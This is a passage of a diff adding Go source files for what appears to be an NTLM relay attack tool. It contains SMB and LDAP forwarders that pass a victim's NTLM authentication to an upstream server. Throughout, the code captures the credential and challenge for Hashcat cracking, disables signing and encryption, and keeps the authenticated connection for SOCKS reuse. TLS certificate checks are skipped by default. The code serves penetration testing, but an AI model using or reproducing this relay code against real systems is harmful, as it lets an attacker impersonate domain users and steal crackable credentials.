// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strconv"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/encoder"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// smbForwarder drives an upstream NTLMSSP exchange over an SMB transport on
|
||||
// behalf of a relayed inbound auth. One forwarder is used per inbound auth
|
||||
// session — it owns the upstream *smb.Connection from Negotiate (leg 1)
|
||||
// until either Take transfers ownership or Close tears it down.
|
||||
//
|
||||
// SPNEGO wrap/unwrap is handled by the listener; the forwarder's interface
|
||||
// boundary carries raw NTLMSSP. Leg 2 is re-wrapped internally because the
|
||||
// upstream client API (SendSessionSetup2WithBlob) requires SPNEGO bytes.
|
||||
type smbForwarder struct {
|
||||
target Target
|
||||
opts smb.Options
|
||||
logger server.Logger
|
||||
|
||||
upstream *smb.Connection // populated in Negotiate; consumed in Take or Close
|
||||
serverChallenge [8]byte // captured from the upstream's NTLMSSP CHALLENGE
|
||||
}
|
||||
|
||||
// newSMBForwarder constructs an SMB forwarder targeting the supplied
|
||||
// upstream. opts is shallow-copied; relay-friendly defaults are forced on.
|
||||
func newSMBForwarder(t Target, opts smb.Options, logger server.Logger) (*smbForwarder, error) {
|
||||
if t.Protocol != ProtoSMB {
|
||||
return nil, fmt.Errorf("newSMBForwarder called with non-SMB target %s", t.Raw)
|
||||
}
|
||||
host, portStr, err := net.SplitHostPort(t.Host)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse target %q: %w", t.Host, err)
|
||||
}
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil || port < 1 || port > 65535 {
|
||||
return nil, fmt.Errorf("parse target %q: invalid port %q", t.Host, portStr)
|
||||
}
|
||||
if opts.Host == "" {
|
||||
opts.Host = host
|
||||
}
|
||||
if opts.Port == 0 {
|
||||
opts.Port = port
|
||||
}
|
||||
// Relay can't sign or encrypt — the per-message keys live on the inbound
|
||||
// (client-side) session and we never see them. Force these off even if
|
||||
// the caller forgot.
|
||||
opts.ManualLogin = true
|
||||
opts.ForceSMB2 = true
|
||||
opts.DisableSigning = true
|
||||
opts.DisableEncryption = true
|
||||
return &smbForwarder{target: t, opts: opts, logger: logger}, nil
|
||||
}
|
||||
|
||||
// Target returns the upstream target this forwarder is bound to.
|
||||
func (f *smbForwarder) Target() Target { return f.target }
|
||||
|
||||
// Negotiate forwards a raw NTLMSSP NEGOTIATE token to the upstream and
|
||||
// returns the upstream's raw NTLMSSP CHALLENGE. SPNEGO wrap/unwrap is the
|
||||
// listener's responsibility.
|
||||
func (f *smbForwarder) Negotiate(neg []byte) ([]byte, error) {
|
||||
if f.upstream != nil {
|
||||
return nil, fmt.Errorf("Negotiate called twice")
|
||||
}
|
||||
if len(neg) < 8 || string(neg[:7]) != "NTLMSSP" {
|
||||
return nil, fmt.Errorf("Negotiate: not an NTLMSSP message")
|
||||
}
|
||||
|
||||
up, err := smb.NewConnection(f.opts)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dial %s: %w", f.target.Host, err)
|
||||
}
|
||||
|
||||
respToken, err := up.SendSessionSetup1WithToken(neg)
|
||||
if err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("upstream SessionSetup1: %w", err)
|
||||
}
|
||||
f.upstream = up
|
||||
|
||||
// Best-effort parse of the upstream CHALLENGE — needed so the captured
|
||||
// Credential.ServerChallenge / Hashcat string identifies the actual
|
||||
// challenge the client signed against.
|
||||
chall := ntlmssp.NewChallenge()
|
||||
if err := encoder.Unmarshal(respToken, &chall); err == nil {
|
||||
var b [8]byte
|
||||
for i := 0; i < 8; i++ {
|
||||
b[i] = byte(chall.ServerChallenge >> (8 * i))
|
||||
}
|
||||
f.serverChallenge = b
|
||||
} else if f.logger != nil {
|
||||
f.logger.Debugf("parse upstream CHALLENGE: %v", err)
|
||||
}
|
||||
return respToken, nil
|
||||
}
|
||||
|
||||
// Authenticate forwards a raw NTLMSSP AUTHENTICATE token plus an optional
|
||||
// MechListMIC to the upstream and returns the captured Credential and the
|
||||
// upstream NT status. The forwarder re-wraps the raw token into a SPNEGO
|
||||
// NegTokenResp internally because the upstream client API requires it; this
|
||||
// keeps the relay listener protocol-agnostic.
|
||||
//
|
||||
// remote is the inbound client address used for credential attribution.
|
||||
func (f *smbForwarder) Authenticate(remote net.Addr, auth, mic []byte) (*Credential, uint32, error) {
|
||||
if f.upstream == nil {
|
||||
return nil, 0, fmt.Errorf("Authenticate without prior Negotiate")
|
||||
}
|
||||
if len(auth) < 8 || string(auth[:7]) != "NTLMSSP" {
|
||||
return nil, 0, fmt.Errorf("Authenticate: not an NTLMSSP message")
|
||||
}
|
||||
|
||||
var parsed ntlmssp.Authenticate
|
||||
if err := encoder.Unmarshal(auth, &parsed); err != nil {
|
||||
return nil, 0, fmt.Errorf("decode NTLMSSP Authenticate: %w", err)
|
||||
}
|
||||
cred := buildCredentialFromAuth(&parsed, f.serverChallenge, remote)
|
||||
|
||||
blob, err := wrapNegRespAuth(auth, mic)
|
||||
if err != nil {
|
||||
return cred, 0, fmt.Errorf("wrap upstream NegTokenResp: %w", err)
|
||||
}
|
||||
upstreamStatus, err := f.upstream.SendSessionSetup2WithBlob(blob)
|
||||
if err != nil {
|
||||
return cred, 0, fmt.Errorf("upstream SessionSetup2: %w", err)
|
||||
}
|
||||
return cred, upstreamStatus, nil
|
||||
}
|
||||
|
||||
// Take returns the upstream Connection and zeroes the field. Close is a no-op
|
||||
// afterwards.
|
||||
func (f *smbForwarder) Take() *smb.Connection {
|
||||
up := f.upstream
|
||||
f.upstream = nil
|
||||
return up
|
||||
}
|
||||
|
||||
// Close tears down the upstream connection if still owned by the forwarder.
|
||||
// Idempotent.
|
||||
func (f *smbForwarder) Close() {
|
||||
if f.upstream == nil {
|
||||
return
|
||||
}
|
||||
f.upstream.Close()
|
||||
f.upstream = nil
|
||||
}
|
||||
@@ -0,0 +1,581 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
ber "github.com/go-asn1-ber/asn1-ber"
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/encoder"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// LDAP protocol op tags (BER application class). Only the values used in this
|
||||
// file are listed; the passthrough adds others as needed.
|
||||
const (
|
||||
ldapAppBindRequest ber.Tag = 0 // [APPLICATION 0]
|
||||
ldapAppBindResponse ber.Tag = 1 // [APPLICATION 1]
|
||||
ldapAppExtendedRequest ber.Tag = 23 // [APPLICATION 23]
|
||||
ldapAppExtendedResponse ber.Tag = 24 // [APPLICATION 24]
|
||||
)
|
||||
|
||||
// LDAP result codes.
|
||||
const (
|
||||
ldapResultSuccess = 0
|
||||
ldapResultSaslBindInProgress = 14
|
||||
)
|
||||
|
||||
// startTLSOID is the OID for the LDAP StartTLS Extended Request (RFC 4511 §4.14.1).
|
||||
const startTLSOID = "1.3.6.1.4.1.1466.20037"
|
||||
|
||||
// NTLM bind auth choice tags (within BindRequest). These match the LDAP
|
||||
// sicily extension's [CONTEXT 10] / [CONTEXT 11] primitive tags. We alias the
|
||||
// matching ber.TagEnumerated/TagEmbeddedPDV constants because the BER library
|
||||
// only auto-writes the raw byte payload under ClassContext when the tag value
|
||||
// is 10 or 11 — the same convention goldap follows.
|
||||
const (
|
||||
ldapAuthNTLMNegotiate = ber.TagEnumerated // 10
|
||||
ldapAuthNTLMAuthenticate = ber.TagEmbeddedPDV // 11
|
||||
)
|
||||
|
||||
// ldapUpstream wraps the raw TCP/TLS socket on which an NTLM bind has been
|
||||
// completed. Ownership of the socket is exclusive — the bind path uses it
|
||||
// directly (no goldap.Conn wrapper) so it can be handed off to
|
||||
// LDAPPassthrough after success.
|
||||
type ldapUpstream struct {
|
||||
Target Target
|
||||
|
||||
mu sync.Mutex
|
||||
conn net.Conn
|
||||
closed bool
|
||||
|
||||
// nextMessageID tracks LDAP MessageID allocation on this socket. The bind
|
||||
// used IDs 1 and 2; downstream passthrough allocations start at 3.
|
||||
idMu sync.Mutex
|
||||
nextMessageID int64
|
||||
}
|
||||
|
||||
// Close tears down the LDAP socket. Idempotent.
|
||||
func (u *ldapUpstream) Close() error {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
if u.closed {
|
||||
return nil
|
||||
}
|
||||
u.closed = true
|
||||
if u.conn != nil {
|
||||
return u.conn.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsClosed reports whether Close has been called.
|
||||
func (u *ldapUpstream) IsClosed() bool {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
return u.closed
|
||||
}
|
||||
|
||||
// Conn returns the bound raw socket for callers that hold the upstream.
|
||||
// Returns nil after Close.
|
||||
func (u *ldapUpstream) Conn() net.Conn {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
if u.closed {
|
||||
return nil
|
||||
}
|
||||
return u.conn
|
||||
}
|
||||
|
||||
// allocMessageID returns the next free LDAP MessageID on this socket.
|
||||
func (u *ldapUpstream) allocMessageID() int64 {
|
||||
u.idMu.Lock()
|
||||
defer u.idMu.Unlock()
|
||||
u.nextMessageID++
|
||||
return u.nextMessageID
|
||||
}
|
||||
|
||||
// ldapForwarder drives an upstream NTLMSSP bind over LDAP/LDAPS on behalf of a
|
||||
// relayed inbound auth. It speaks BER directly on the upstream socket so the
|
||||
// raw connection survives the bind and can be passed to LDAPPassthrough for
|
||||
// SOCKS-side reuse.
|
||||
type ldapForwarder struct {
|
||||
target Target
|
||||
timeout time.Duration
|
||||
tlsConf *tls.Config
|
||||
disableStartTLS bool
|
||||
logger server.Logger
|
||||
|
||||
upstream *ldapUpstream
|
||||
serverChallenge [8]byte
|
||||
}
|
||||
|
||||
func newLDAPForwarder(t Target, timeout time.Duration, tlsConfig *tls.Config, disableStartTLS bool, logger server.Logger) *ldapForwarder {
|
||||
if timeout <= 0 {
|
||||
timeout = 10 * time.Second
|
||||
}
|
||||
return &ldapForwarder{
|
||||
target: t,
|
||||
timeout: timeout,
|
||||
tlsConf: tlsConfig,
|
||||
disableStartTLS: disableStartTLS,
|
||||
logger: logger,
|
||||
}
|
||||
}
|
||||
|
||||
// Target satisfies the Forwarder interface.
|
||||
func (f *ldapForwarder) Target() Target { return f.target }
|
||||
|
||||
// Negotiate dials the upstream LDAP server, sends BindRequest leg 1 carrying
|
||||
// the inbound's NTLMSSP NEGOTIATE token, and returns the upstream's NTLMSSP
|
||||
// CHALLENGE token. AD's sicily NTLM bind packs the CHALLENGE into matchedDN
|
||||
// (BindResponse.Children[1]) rather than the standard serverSaslCreds
|
||||
// [CONTEXT 7] slot; the parser checks both. If neither location holds a
|
||||
// CHALLENGE the upstream treated the bind as something other than sicily NTLM
|
||||
// — typically falling through to an anonymous success on DCs that allow
|
||||
// unauthenticated binds — and the relay refuses, since the user expects an
|
||||
// authenticated relay outcome.
|
||||
func (f *ldapForwarder) Negotiate(negotiate []byte) ([]byte, error) {
|
||||
if f.upstream != nil {
|
||||
return nil, fmt.Errorf("Negotiate called twice")
|
||||
}
|
||||
if len(negotiate) < 8 || string(negotiate[:7]) != "NTLMSSP" {
|
||||
return nil, fmt.Errorf("Negotiate: not an NTLMSSP message")
|
||||
}
|
||||
|
||||
// ntlmrelayx-style early refusal. If the inbound victim's NTLM client
|
||||
// requested SIGN/SEAL/ALWAYS_SIGN, the bind will succeed for plain ldap
|
||||
// but every post-bind LDAP message gets dropped by AD on the upstream side
|
||||
// because the relay has no way to sign without the victim's session keys.
|
||||
// Abort before dialing the upstream so no doomed session lands in the pool.
|
||||
// The surrounding listener will surface the error via OnRelayFailure and
|
||||
// send the inbound client a logon failure.
|
||||
// For LDAPS connections, the authentication will fail because
|
||||
// signing/sealing is not allowed over TLS.
|
||||
if inboundRequestsSigning(negotiate) {
|
||||
return nil, fmt.Errorf("the client requested signing — relaying to LDAP will not work " +
|
||||
"(this usually happens when relaying from SMB to LDAP)")
|
||||
}
|
||||
|
||||
up, err := f.dialUpstream()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Leg 1: send BindRequest{ auth=[CONTEXT 10] negotiate }. The MessageID is
|
||||
// allocated via allocMessageID so a preceding StartTLS exchange (when used)
|
||||
// doesn't collide.
|
||||
//
|
||||
// The NEGOTIATE is forwarded verbatim: any modification (e.g. stripping
|
||||
// SIGN/SEAL flags to avoid post-bind signing) invalidates the MIC that
|
||||
// the victim computes over NEGOTIATE+CHALLENGE+AUTHENTICATE, and modern
|
||||
// AD strictly rejects bad MICs.
|
||||
if err := up.writeLDAPMessage(up.allocMessageID(), encodeBindRequest(ldapAuthNTLMNegotiate, negotiate)); err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("write BindRequest leg 1: %w", err)
|
||||
}
|
||||
resp, err := up.readLDAPMessage()
|
||||
if err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("read BindResponse leg 1: %w", err)
|
||||
}
|
||||
serverSaslCreds, err := parseBindNegotiateResponse(resp)
|
||||
if err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("%w", err)
|
||||
}
|
||||
|
||||
// Capture the 8-byte ServerChallenge from the NTLMSSP CHALLENGE for
|
||||
// credential attribution. Failure is non-fatal.
|
||||
parsed := ntlmssp.NewChallenge()
|
||||
if err := encoder.Unmarshal(serverSaslCreds, &parsed); err == nil {
|
||||
var b [8]byte
|
||||
for i := 0; i < 8; i++ {
|
||||
b[i] = byte(parsed.ServerChallenge >> (8 * i))
|
||||
}
|
||||
f.serverChallenge = b
|
||||
} else if f.logger != nil {
|
||||
f.logger.Debugf("decode upstream CHALLENGE: %v", err)
|
||||
}
|
||||
|
||||
f.upstream = up
|
||||
return serverSaslCreds, nil
|
||||
}
|
||||
|
||||
// Authenticate forwards the inbound's raw NTLMSSP AUTHENTICATE token to the
|
||||
// upstream as BindRequest leg 2 and returns the captured Credential plus an
|
||||
// NT-style status. mic is ignored — LDAP NTLM bind carries no SPNEGO MIC.
|
||||
func (f *ldapForwarder) Authenticate(remote net.Addr, authenticate, mic []byte) (*Credential, uint32, error) {
|
||||
_ = mic
|
||||
if f.upstream == nil {
|
||||
return nil, 0, fmt.Errorf("Authenticate without prior Negotiate")
|
||||
}
|
||||
if len(authenticate) < 8 || string(authenticate[:7]) != "NTLMSSP" {
|
||||
return nil, 0, fmt.Errorf("Authenticate: not an NTLMSSP message")
|
||||
}
|
||||
var auth ntlmssp.Authenticate
|
||||
if err := encoder.Unmarshal(authenticate, &auth); err != nil {
|
||||
return nil, 0, fmt.Errorf("decode AUTHENTICATE: %w", err)
|
||||
}
|
||||
cred := buildCredentialFromAuth(&auth, f.serverChallenge, remote)
|
||||
|
||||
if err := f.upstream.writeLDAPMessage(f.upstream.allocMessageID(), encodeBindRequest(ldapAuthNTLMAuthenticate, authenticate)); err != nil {
|
||||
return cred, 0, fmt.Errorf("write BindRequest leg 2: %w", err)
|
||||
}
|
||||
resp, err := f.upstream.readLDAPMessage()
|
||||
if err != nil {
|
||||
return cred, 0, fmt.Errorf("read BindResponse leg 2: %w", err)
|
||||
}
|
||||
resultCode, matchedDN, diagnostic, err := parseBindResultCode(resp)
|
||||
if err != nil {
|
||||
return cred, 0, fmt.Errorf("parse BindResponse leg 2: %w", err)
|
||||
}
|
||||
if resultCode != ldapResultSuccess {
|
||||
return cred, smb.StatusLogonFailure, formatBindFailure(resultCode, matchedDN, diagnostic)
|
||||
}
|
||||
return cred, smb.StatusOk, nil
|
||||
}
|
||||
|
||||
// formatBindFailure produces a human-readable error describing why the LDAP
|
||||
// server rejected a bind. AD encodes the WIN32 substatus inside
|
||||
// diagnosticMessage as `... data NNN, vXXXX` — surfacing that string lets the
|
||||
// caller distinguish channel binding (data 80090346), wrong creds (data 52e),
|
||||
// disabled account (data 533), expired pw (data 532), etc.
|
||||
func formatBindFailure(resultCode int, matchedDN, diagnostic string) error {
|
||||
if diagnostic == "" && matchedDN == "" {
|
||||
return fmt.Errorf("LDAP bind rejected (resultCode=%d)", resultCode)
|
||||
}
|
||||
parts := fmt.Sprintf("resultCode=%d", resultCode)
|
||||
if matchedDN != "" {
|
||||
parts += fmt.Sprintf(" matchedDN=%q", matchedDN)
|
||||
}
|
||||
if diagnostic != "" {
|
||||
parts += fmt.Sprintf(" diagnosticMessage=%q", diagnostic)
|
||||
}
|
||||
return fmt.Errorf("LDAP bind rejected (%s)", parts)
|
||||
}
|
||||
|
||||
// Take returns the upstream and zeroes the field. Close is a no-op afterwards.
|
||||
func (f *ldapForwarder) Take() *ldapUpstream {
|
||||
up := f.upstream
|
||||
f.upstream = nil
|
||||
return up
|
||||
}
|
||||
|
||||
// Close tears down the upstream connection if still owned. Idempotent.
|
||||
func (f *ldapForwarder) Close() {
|
||||
if f.upstream == nil {
|
||||
return
|
||||
}
|
||||
f.upstream.Close()
|
||||
f.upstream = nil
|
||||
}
|
||||
|
||||
// dialUpstream opens a TCP connection to the LDAP target and applies any
|
||||
// pre-bind TLS upgrade:
|
||||
// - ldaps:// → immediate TLS handshake on the freshly-dialed socket.
|
||||
// - ldap:// with StartTLS enabled (default) → plain TCP, then the StartTLS
|
||||
// ExtendedRequest. On a clean rejection from the server (resultCode != 0)
|
||||
// the relay logs at Debug and continues with plain LDAP on the same socket.
|
||||
// - ldap:// with StartTLS disabled, or after a StartTLS rejection → plain TCP.
|
||||
//
|
||||
// Errors from the StartTLS exchange that aren't a clean protocol-level rejection
|
||||
// (TCP read/write failures, malformed BER, TLS handshake failures) abort and
|
||||
// close the socket — partway-through-StartTLS leaves the connection unsafe to
|
||||
// fall back from.
|
||||
func (f *ldapForwarder) dialUpstream() (*ldapUpstream, error) {
|
||||
d := &net.Dialer{Timeout: f.timeout}
|
||||
rawConn, err := d.Dial("tcp", f.target.Host)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dial %s: %w", f.target.Host, err)
|
||||
}
|
||||
up := &ldapUpstream{Target: f.target, conn: rawConn}
|
||||
|
||||
if f.target.TLS {
|
||||
tlsConn := tls.Client(rawConn, f.resolveTLSConfig())
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
rawConn.Close()
|
||||
return nil, fmt.Errorf("TLS handshake %s: %w", f.target.Host, err)
|
||||
}
|
||||
up.conn = tlsConn
|
||||
return up, nil
|
||||
}
|
||||
|
||||
if f.target.Protocol == ProtoLDAP && !f.disableStartTLS {
|
||||
if err := f.tryStartTLS(up); err != nil {
|
||||
up.Close()
|
||||
return nil, fmt.Errorf("StartTLS %s: %w", f.target.Host, err)
|
||||
}
|
||||
}
|
||||
return up, nil
|
||||
}
|
||||
|
||||
// resolveTLSConfig returns a tls.Config to use for TLS handshakes against the
|
||||
// upstream. When the caller supplied a config without a ServerName, the host
|
||||
// portion of the target is filled in on a clone so concurrent dials don't race
|
||||
// on the same struct. When no config was supplied, InsecureSkipVerify=true is
|
||||
// the historical default — matching the prior ldaps:// behavior.
|
||||
func (f *ldapForwarder) resolveTLSConfig() *tls.Config {
|
||||
host, _, _ := net.SplitHostPort(f.target.Host)
|
||||
tlsCfg := f.tlsConf
|
||||
if tlsCfg == nil {
|
||||
return &tls.Config{ServerName: host, InsecureSkipVerify: true}
|
||||
}
|
||||
if tlsCfg.ServerName == "" {
|
||||
cloned := tlsCfg.Clone()
|
||||
cloned.ServerName = host
|
||||
return cloned
|
||||
}
|
||||
return tlsCfg
|
||||
}
|
||||
|
||||
// tryStartTLS sends the StartTLS ExtendedRequest on up.conn. On success
|
||||
// (resultCode 0) it performs the TLS handshake and replaces up.conn with the
|
||||
// TLS-wrapped socket. On a server-side rejection (resultCode != 0) it leaves
|
||||
// up.conn untouched and returns nil — the caller continues with plain LDAP.
|
||||
// Any other failure (write/read error, malformed BER, TLS handshake failure)
|
||||
// is returned and the caller must treat the socket as unusable.
|
||||
func (f *ldapForwarder) tryStartTLS(up *ldapUpstream) error {
|
||||
id := up.allocMessageID()
|
||||
if err := up.writeLDAPMessage(id, encodeStartTLSRequest()); err != nil {
|
||||
return fmt.Errorf("write ExtendedRequest: %w", err)
|
||||
}
|
||||
resp, err := up.readLDAPMessage()
|
||||
if err != nil {
|
||||
return fmt.Errorf("read ExtendedResponse: %w", err)
|
||||
}
|
||||
rc, err := parseStartTLSResponse(resp)
|
||||
if err != nil {
|
||||
return fmt.Errorf("parse ExtendedResponse: %w", err)
|
||||
}
|
||||
if rc != ldapResultSuccess {
|
||||
if f.logger != nil {
|
||||
f.logger.Debugf("StartTLS unsupported by %s (resultCode=%d) — falling back to plain LDAP", f.target.Host, rc)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
tlsConn := tls.Client(up.conn, f.resolveTLSConfig())
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
return fmt.Errorf("TLS handshake: %w", err)
|
||||
}
|
||||
up.mu.Lock()
|
||||
up.conn = tlsConn
|
||||
up.mu.Unlock()
|
||||
if f.logger != nil {
|
||||
f.logger.Debugf("StartTLS established with %s", f.target.Host)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// encodeStartTLSRequest builds an ExtendedRequest carrying the StartTLS OID.
|
||||
// Shape: [APPLICATION 23] SEQUENCE { [CONTEXT 0] PRIMITIVE OID-bytes }.
|
||||
func encodeStartTLSRequest() *ber.Packet {
|
||||
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppExtendedRequest, nil, "ExtendedRequest")
|
||||
req.AppendChild(ber.NewString(ber.ClassContext, ber.TypePrimitive, 0, startTLSOID, "requestName"))
|
||||
return req
|
||||
}
|
||||
|
||||
// parseStartTLSResponse extracts the resultCode from an ExtendedResponse
|
||||
// envelope. Returns the resultCode and a nil error when the envelope is
|
||||
// structurally valid (regardless of whether resultCode signals success).
|
||||
// Returns a non-nil error only when the envelope isn't an ExtendedResponse or
|
||||
// is missing the resultCode field.
|
||||
func parseStartTLSResponse(env *ber.Packet) (int, error) {
|
||||
if env == nil || len(env.Children) < 2 {
|
||||
return 0, fmt.Errorf("envelope missing messageID/protocolOp")
|
||||
}
|
||||
resp := env.Children[1]
|
||||
if resp.ClassType != ber.ClassApplication || resp.Tag != ldapAppExtendedResponse {
|
||||
return 0, fmt.Errorf("not an ExtendedResponse (class=%d tag=%d)", resp.ClassType, resp.Tag)
|
||||
}
|
||||
if len(resp.Children) == 0 {
|
||||
return 0, fmt.Errorf("ExtendedResponse missing resultCode")
|
||||
}
|
||||
v, ok := resp.Children[0].Value.(int64)
|
||||
if !ok {
|
||||
return 0, fmt.Errorf("ExtendedResponse resultCode not an integer")
|
||||
}
|
||||
return int(v), nil
|
||||
}
|
||||
|
||||
// writeLDAPMessage serializes a complete LDAPMessage envelope (SEQUENCE
|
||||
// {messageID INTEGER, protocolOp}) and writes it to the upstream. Holds the
|
||||
// connection's write side via mu so the bind sequence is atomic.
|
||||
func (u *ldapUpstream) writeLDAPMessage(messageID int64, protocolOp *ber.Packet) error {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
if u.closed {
|
||||
return fmt.Errorf("upstream closed")
|
||||
}
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
|
||||
env.AppendChild(protocolOp)
|
||||
_, err := u.conn.Write(env.Bytes())
|
||||
return err
|
||||
}
|
||||
|
||||
// readLDAPMessage reads one complete LDAPMessage envelope from the upstream.
|
||||
// Holds mu for the duration so concurrent writes don't interleave the parser.
|
||||
func (u *ldapUpstream) readLDAPMessage() (*ber.Packet, error) {
|
||||
u.mu.Lock()
|
||||
defer u.mu.Unlock()
|
||||
if u.closed {
|
||||
return nil, fmt.Errorf("upstream closed")
|
||||
}
|
||||
return ber.ReadPacket(u.conn)
|
||||
}
|
||||
|
||||
// encodeBindRequest builds a BindRequest packet carrying an NTLMSSP token as
|
||||
// the auth choice. authTag picks Phase 1 ([CONTEXT 10]) vs Phase 2
|
||||
// ([CONTEXT 11]) — the sicily NTLM extension's two tags.
|
||||
func encodeBindRequest(authTag ber.Tag, ntlm []byte) *ber.Packet {
|
||||
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindRequest), nil, "BindRequest")
|
||||
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(3), "Version"))
|
||||
req.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "Name"))
|
||||
auth := ber.Encode(ber.ClassContext, ber.TypePrimitive, authTag, ntlm, "authentication")
|
||||
req.AppendChild(auth)
|
||||
return req
|
||||
}
|
||||
|
||||
// extractBindResponse returns the BindResponse application packet from an
|
||||
// LDAPMessage envelope and the parsed resultCode (-1 when absent).
|
||||
func extractBindResponse(env *ber.Packet) (*ber.Packet, int, error) {
|
||||
if env == nil || len(env.Children) < 2 {
|
||||
return nil, -1, fmt.Errorf("envelope missing messageID/protocolOp")
|
||||
}
|
||||
resp := env.Children[1]
|
||||
if resp.ClassType != ber.ClassApplication || resp.Tag != ber.Tag(ldapAppBindResponse) {
|
||||
return nil, -1, fmt.Errorf("not a BindResponse (class=%d tag=%d)", resp.ClassType, resp.Tag)
|
||||
}
|
||||
rc := -1
|
||||
if len(resp.Children) > 0 {
|
||||
if v, ok := resp.Children[0].Value.(int64); ok {
|
||||
rc = int(v)
|
||||
}
|
||||
}
|
||||
return resp, rc, nil
|
||||
}
|
||||
|
||||
// bindResponseDiagnostic returns the matchedDN and diagnosticMessage strings
|
||||
// from a BindResponse, when present. AD packs the WIN32 substatus into
|
||||
// diagnosticMessage as `... data NNN, vXXXX` — the `NNN` is the actual reason
|
||||
// (e.g. 532 = password expired, 80090346 = channel binding mismatch).
|
||||
func bindResponseDiagnostic(resp *ber.Packet) (matchedDN, diagnostic string) {
|
||||
if resp == nil {
|
||||
return "", ""
|
||||
}
|
||||
if len(resp.Children) > 1 {
|
||||
if s, ok := resp.Children[1].Value.(string); ok {
|
||||
matchedDN = s
|
||||
}
|
||||
}
|
||||
if len(resp.Children) > 2 {
|
||||
if s, ok := resp.Children[2].Value.(string); ok {
|
||||
diagnostic = s
|
||||
}
|
||||
}
|
||||
return matchedDN, diagnostic
|
||||
}
|
||||
|
||||
// parseBindNegotiateResponse extracts the NTLMSSP CHALLENGE from a Phase-1
|
||||
// BindResponse. AD's sicily NTLM puts the CHALLENGE in matchedDN
|
||||
// (Children[1]) as an OctetString — non-standard but stable Microsoft
|
||||
// behavior; goldap uses the same trick. We also check the spec-correct
|
||||
// serverSaslCreds [CONTEXT 7] slot in case a non-Microsoft server uses it.
|
||||
//
|
||||
// If neither location holds an NTLMSSP token the upstream treated the bind
|
||||
// as something other than sicily NTLM (most commonly anonymous on a DC that
|
||||
// permits unauthenticated binds). Returns an error including the resultCode
|
||||
// so the caller can surface a clear diagnostic.
